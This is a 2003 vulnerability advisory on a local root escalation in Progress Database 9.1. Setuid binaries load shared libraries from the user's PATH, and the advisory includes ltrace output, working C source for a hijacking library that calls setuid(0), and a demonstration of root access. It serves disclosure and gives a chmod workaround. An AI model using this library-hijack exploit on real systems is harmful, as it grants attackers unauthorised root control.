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Secure Network Operations, Inc.           http://www.secnetops.com
Strategic Reconnaissance Team               research@secnetops.com
Team Lead Contact                                 kf@secnetops.com


Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion 
Detection Systems (IDS), Software Security Validation, and 
Corporate/Private Network Security. Our mission is to facilitate a 
secure and reliable Internet and inter-enterprise communications 
infrastructure through the products and services we offer. 


Quick Summary:
************************************************************************
Advisory Number         : SRT2003-06-13-0945
Product                 : Progress Database
Version                 : Versions 9.1 up to 9.1D06
Vendor                  : progress.com
Class                   : local
Criticality             : High (to all Progress users)
Operating System(s)     : Linux, SunOS, SCO, TRU64, *nix


High Level Explanation
************************************************************************
High Level Description  : Poor usage of dlopen() causes local root
compromise
What to do              : chmod -s /usr/dlc/bin/*


Technical Details
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Proof Of Concept Status : SNO has exploits for the described situation
Low Level Description   :

Progress applications make the use of several helper .dll and .so binaries. 
When looking for shared object files for use in a dlopen statement Progress
choose to look in the users PATH. No verification is performed upon the 
object that is located thus local non super users can make themselves root. 
*Most* binaries in /usr/dlc/bin can be exploited via this method. 

[elguapo@rh8 elguapo]$ ls -al /usr/dlc/bin/_proapsv
-rwsr-xr-x    1 root   root    5258733 Nov 23 02:01 /usr/dlc/bin/_proapsv

getenv("DLC")                                     = NULL
strcpy(0xbffff350, "libjutil.so")                 = 0xbffff350
memmove(0xbfffefc8, 0xbffff350, 12, 0x084a2a50, 0x084e1310) = 0xbfffefc8
access("libjutil.so", 4)                          = -1
__errno_location()                                = 0x4212a620
getenv("PATH")                                    = "/usr/local/bin:/bin...
strcat("/usr/local/bin", "/")                     = "/usr/local/bin/"
strcat("/usr/local/bin/", "libjutil.so")     = "/usr/local/bin/libjutil.so"
access("/usr/local/bin/libjutil.so", 4)           = -1
...
strcat("/home/elguapo/bin/", "libjutil.so") "/home/elguapo/bin/libjutil.so"
access("/home/elguapo/bin/libjutil.so", 4)        = 0

As you can see the library libjutil.so is searched for in the users PATH. 

Thanks to core@bokeoa.com for giving me an example shared library example 
... it made exploiting this problem quite simple. 

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for 
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
	printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
	printf("This is a fake ehnLogClose\n");
}

_init() {
   setuid(0);
   setgid(0);
   printf("bullshit library loaded\n");
   system("/usr/bin/id > /tmp/p00p");
   system("cat /tmp/p00p");
}

[elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)
+0001%ReadUBproperties failed: WebSpeed error 10007, System error 0,
ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose
uid=0(root) gid=500(elguapo) groups=500(elguapo)

[elguapo@rh8 elguapo]$ /usr/bin/ltrace /usr/dlc/bin/_proapsv

we can see it searches path and finds nothing ... 

getenv("PATH")                                    = NULL
dlopen("libjutil.so", 258)                        = NULL
...
read(3, "Could not open Dynamic Library: "..., 81) = 81
malloc(51)                                        = 0x084df718
dlerror()                                         = "libjutil.so: cannot
open shared "...
lseek(3, 649134, 0)                               = 649134
read(3, "DLL Error : %s (8014)", 81)              = 81

In the above example we just gave it a little help finding the .so 
The dlsym command will help you determine which fake functions you need
to make the exploit work. 

getenv("PATH")                                    = "/tmp"
strcat("/tmp", "/")                               = "/tmp/"
strcat("/tmp/", "libjutil.so")                    = "/tmp/libjutil.so"
access("/tmp/libjutil.so", 4)                     = 0
dlopen("/tmp/libjutil.so", 258)                   = 0x084e1840
dlsym(0x084e1840, "ehnLogOpen")                   = 0x40013414
dlsym(0x084e1840, "ehnLogClose")                  = 0x4001345e
dlsym(0x084e1840, "ehnLogWrite")                  = 0x400134a8
dlsym(0x084e1840, "ehnLogDump")                   = 0x400134f2
dlsym(0x084e1840, "ehnLogGetProperties")          = 0x4001353c
dlsym(0x084e1840, "ehnLogSetProperties")          = 0x40013586
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)


a valid work around to nearly any Progress security hole is to remove the 
suid bit from all binaries

Vendor Status           : Patch will be in version 10.x  
Bugtraq URL             : to be assigned

------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.



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